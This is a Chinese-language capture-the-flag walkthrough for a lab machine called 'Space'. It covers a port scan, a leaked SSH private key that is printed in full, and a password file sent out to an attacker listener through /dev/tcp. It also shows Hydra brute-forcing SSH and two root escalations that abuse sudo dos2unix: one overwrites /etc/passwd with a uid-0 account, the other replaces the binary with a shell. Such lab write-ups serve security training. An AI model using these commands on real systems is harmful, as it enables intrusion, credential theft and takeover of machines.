Space

Nmap

```shell
[root@kali] /home/kali/Space
❯ nmap 192.168.55.98 -sV -A -p-

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Typing Challenge
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.62 (Debian)
```

进入页面，随意提交五次，得到一个密钥路径`/var/www/html/andeli.id_rsa`

Remove CRLF

查看到尽管密钥内容看起来合法，但是无法用于登录

```shell
[root@kali] /home/kali/Space
❯ wget http://192.168.55.98/andeli.id_rsa

[root@kali] /home/kali/Space
❯ ssh-keygen -lf andeli.id_rsa

andeli.id_rsa is not a key file.
```

查看里面的不可见字符

SHELL

```
[root@kali] /home/kali/Space
❯ cat -A andeli.id_rsa
↵
-----BEGIN OPENSSH PRIVATE KEY-----^M$
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn^M$
NhAAAAAwEAAQAAAYEA53wtJ27uQatcM+9fP8gZCT7ioVbSmFM5MWZZ+4ZZ/AJswfuI9ndz^M$
ADvJgrVgCj2//vHO7Hla0V4S7nHccrFLVuHxzxtcTXiITKmo+S0N0uBu0NdkzFwvmTPqR4^M$
tG/p1G6fgt9fms9tqw/A2EYf5Mk/cDv9OwhGldUArQZD9Dd/Zy7ZnRGhBVHm/HTxbwCad0^M$
n4Or9+PEUzJb5Uw+GG8A3P0J128BUlIxj4M2/I769q3xSG4EuT9kqAJXCdxAvIzZ6OIfEI^M$
9yFoRPbDLEe+95y5zoQpH6Yar5LqiK+X+YnxScWWwCe3r4BQJCiHT7LjIK0HH5YUMkFcr7^M$
t9QvNytztJPr2pVQET9UdkiN27u2DCygVw5y1q0rP3fCsEZDCUJxcfjn9PZw5IRzqJcO1B^M$
PIFacPpvv/jWI1DA1smd0+xr/AUWEBL4892GZ6hMR4uNLlva2iPoTs4cfZthecXWd0ImCy^M$
WcSe6S5pFNWZ+C/u7Td7l46xhlN6Tw/N2n1vQrupAAAFiGVFw9FlRcPRAAAAB3NzaC1yc2^M$
EAAAGBAOd8LSdu7kGrXDPvXz/IGQk+4qFW0phTOTFmWfuGWfwCbMH7iPZ3cwA7yYK1YAo9^M$
v/7xzux5WtFeEu5x3HKxS1bh8c8bXE14iEypqPktDdLgbtDXZMxcL5kz6keLRv6dRun4Lf^M$
X5rPbasPwNhGH+TJP3A7/TsIRpXVAK0GQ/Q3f2cu2Z0RoQVR5vx08W8AmndJ+Dq/fjxFMy^M$
W+VMPhhvANz9CddvAVJSMY+DNvyO+vat8UhuBLk/ZKgCVwncQLyM2ejiHxCPchaET2wyxH^M$
vvecuc6EKR+mGq+S6oivl/mJ8UnFlsAnt6+AUCQoh0+y4yCtBx+WFDJBXK+7fULzcrc7ST^M$
69qVUBE/VHZIjdu7tgwsoFcOctatKz93wrBGQwlCcXH45/T2cOSEc6iXDtQTyBWnD6b7/4^M$
1iNQwNbJndPsa/wFFhAS+PPdhmeoTEeLjS5b2toj6E7OHH2bYXnF1ndCJgslnEnukuaRTV^M$
mfgv7u03e5eOsYZTek8Pzdp9b0K7qQAAAAMBAAEAAAGADZsS3Fp8zodP6A2Nv6X3Mr/rei^M$
gsQJ/DoM+vQkVnTJSn587tAe+LZtwcv/4BIxj2C/oSe3u2hs/MtQ8kMemR0A1/tPiauEL5^M$
X+go8lxfj6F5YfUHC6vvcEXI42OgTJ7Z6C6aJPcD346DEI2K1meoAJpoMgIzQdUfkvDPxt^M$
ShFo/5uVVtIOcM2bkgMdnbSfX5uNZ4aR2OEIXJOPT+QVlk55hH183CeiAyoYjI1pdg0Nbw^M$
c51j0a+ULvvUOdQkSfDNUXD2G7I6UxIYCWOkh2uq0ddPU+Kwe7d12+cnvpub1BEtKAfCTG^M$
+NSL8y76bO2u/I7f/kPRzV7Hm4po0X5tZc0fn1tctqV2M+Hu+JoCrs/yVwo0CuA29h/pHh^M$
cg1cBzn7jISuDMIAU5l8/nzs4/q/AIfQzqywYUrt04dkcTBmoPyI1QZiD6LufA8L8ZYqQB^M$
TrzFsiw/DZNIUBW0XKECr3OQWiaTz44g1YWxKCpFjbXOcR+E25BNAL8eTl3D63OIIBAAAA^M$
wCszq5giZqnTab2lVPvtEDePkQHRBZzShp0xm5Ru5kCyzoCrkbyrHH0GhoH77RIItrwd/3^M$
XHXtzSAXsWWWiTIkO4zl9xV0dTs85mqeLCSQtS4yG8rz1vMsPCRPysKAo0pXMgvvKHqehl^M$
yIU99M3jVPbBiwIuXFGohWr4agxrqMOcsuNIPx3PFmO3lqo08blC+GUBerk8+fiIhkJWe0^M$
izzECGHV9xcCoOiwiAdQjr2hNzw9QfnpO/w9uWKmb1397aoQAAAMEA9D47nMj7KvxQtcWz^M$
XMXnbqE1Z9EDavrAoA1zZSLrGzJs7jWZyWJuKv450wuf2fqrMCMA0BVngNnS3ljXj04pAg^M$
EU5sFE8WOlVNvC9iSd1x5Nmo7DMItdKSHeJop63flzvi+7aNg9VX+qWS4oWMuMZ0m7Vupf^M$
mC+xiO+dng7BBFWKIYqrcdWCuBqA6TdOt/qycejhZpTzXzYs/KsmMBjl7uSuUQZu2f6GDl^M$
KvCxTjcpE8v7FgSPJv4TNg/DjbEneZAAAAwQDyoLp4Rapn6iXTKFqOAL/8m+uH8dqgB5OD^M$
560gxDEgINdYzxwfOz+p3gphSp54MczEJEnYnfvDfKYKR5ty0AXS0iEjEoGAQFXuRjWEQf^M$
MeTEb+VqnK/Y5sNXWwW/FVr2tTibwA0QlzQEtOOAceh5HcKrtKpxZjkK2d4odvY6MmbL/J^M$
Rtgh4TMV09EokfXACR9F/bNY5Lu+xFMef4NWtXl3e0GEZcoLDSsKCuloOJJoJR/IM1w8gs^M$
Bl1Hds+8Z7rpEAAAAMYW5kZWxpQFNwYWNlAQIDBAUGBw==^M$
-----END OPENSSH PRIVATE KEY-----^M$
```

可以发现，每一行的末尾都有一个换行符号，破坏了密钥结构。

> 如果是使用复制粘贴，而非wget下载，那么这个就不会有这个问题

只需要使用命令转换一下就好

SHELL

```shell
[root@kali] /home/kali/Space
❯ dos2unix andeli.id_rsa
dos2unix: converting file andeli.id_rsa to Unix format...

[root@kali] /home/kali/Space
❯ ssh -i andeli.id_rsa andeli@192.168.55.98
Linux Space 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jun 23 10:32:05 2025 from 192.168.55.4
andeli@Space:~$
```

Own a3170

查看到一个用户密码的`json`文件，刚好找到一个和另一个用户名差不多的密码（当然也可以取出来爆破登录）

SHELL

```shell
andeli@Space:~$ ls /home/
a3170  andeli
andeli@Space:~$ cat user_data.json |jq | grep 3170
    "password": "31703170317031703170",
```

下面是爆破登录的方案

SHELL

```
andeli@Space:~$ jq -r '.[] | "\(.password)"' user_data.json >/dev/tcp/192.168.55.4/8888

[root@kali] /home/kali/Space
❯ nc -lvnp 8888 > pass.txt
[root@kali] /home/kali/Space

❯ hydra -l a3170 -P pass.txt ssh://192.168.55.98
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-23 10:38:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 199 login tries (l:1/p:199), ~13 tries per task
[DATA] attacking ssh://192.168.55.98:22/
[22][ssh] host: 192.168.55.98   login: a3170   password: 31703170317031703170
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-23 10:38:48
```

Root

SHELL

```
a3170@Space:~$ sudo -l
Matching Defaults entries for a3170 on Space:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User a3170 may run the following commands on Space:
    (ALL) NOPASSWD: /usr/bin/dos2unix
```

查看具体选项

```shell
a3170@Space:~$ sudo /usr/bin/dos2unix  -h
Usage: dos2unix [options] [file ...] [-n infile outfile ...]
 --allow-chown         allow file ownership change
 -ascii                convert only line breaks (default)
 -iso                  conversion between DOS and ISO-8859-1 character set
   -1252               use Windows code page 1252 (Western European)
   -437                use DOS code page 437 (US) (default)
   -850                use DOS code page 850 (Western European)
   -860                use DOS code page 860 (Portuguese)
   -863                use DOS code page 863 (French Canadian)
   -865                use DOS code page 865 (Nordic)
 -7                    convert 8 bit characters to 7 bit space
 -b, --keep-bom        keep Byte Order Mark
 -c, --convmode        conversion mode
   convmode            ascii, 7bit, iso, mac, default to ascii
 -f, --force           force conversion of binary files
 -h, --help            display this help text
 -i, --info[=FLAGS]    display file information
   file ...            files to analyze
 -k, --keepdate        keep output file date
 -L, --license         display software license
 -l, --newline         add additional newline
 -m, --add-bom         add Byte Order Mark (default UTF-8)
 -n, --newfile         write to new file
   infile              original file in new-file mode
   outfile             output file in new-file mode
 --no-allow-chown      don't allow file ownership change (default)
 -o, --oldfile         write to old file (default)
   file ...            files to convert in old-file mode
 -q, --quiet           quiet mode, suppress all warnings
 -r, --remove-bom      remove Byte Order Mark (default)
 -s, --safe            skip binary files (default)
 -u,  --keep-utf16     keep UTF-16 encoding
 -ul, --assume-utf16le assume that the input format is UTF-16LE
 -ub, --assume-utf16be assume that the input format is UTF-16BE
 -v,  --verbose        verbose operation
 -F, --follow-symlink  follow symbolic links and convert the targets
 -R, --replace-symlink replace symbolic links with converted files
                         (original target files remain unchanged)
 -S, --skip-symlink    keep symbolic links and targets unchanged (default)
 -V, --version         display version number
```

有一个`-n`参数，可以接收文件并且输出文件，那么可以考虑进行文件覆盖

```SHELL
a3170@Space:~$ cat /etc/passwd > /tmp/mypasswd
a3170@Space:~$ vim /tmp/mypasswd
a3170@Space:~$ cat /tmp/mypasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
andeli:x:1000:1000:,,,:/home/andeli:/bin/bash
a3170:x:0:0:,,,:/home/a3170:/bin/bash
```

修改一下用户的`SID`和`GID`和root一样，然后进行覆盖

```SHELL
a3170@Space:~$ sudo /usr/bin/dos2unix -n /tmp/mypasswd /etc/passwd
dos2unix: converting file /tmp/mypasswd to file /etc/passwd in Unix format...
a3170@Space:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
andeli:x:1000:1000:,,,:/home/andeli:/bin/bash
a3170:x:0:0:,,,:/home/a3170:/bin/bash
```

重新登录获取到`root`权限

```SHELL
a3170@Space:~$ su - a3170
Password:
root@Space:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Space:~#
```

除此之外，也可以选择直接覆盖掉`dos2unix`

SHELL

```
a3170@Space:~$ echo '/bin/bash -p' > aaa
a3170@Space:~$ chmod 777 aaa

a3170@Space:~$ sudo /usr/bin/dos2unix -n /home/a3170/aaa /usr/bin/dos2unix
dos2unix: converting file /home/a3170/aaa to file /usr/bin/dos2unix in Unix format...
a3170@Space:~$ sudo /usr/bin/dos2unix
root@Space:/home/a3170# id
uid=0(root) gid=0(root) groups=0(root)
root@Space:/home/a3170#
```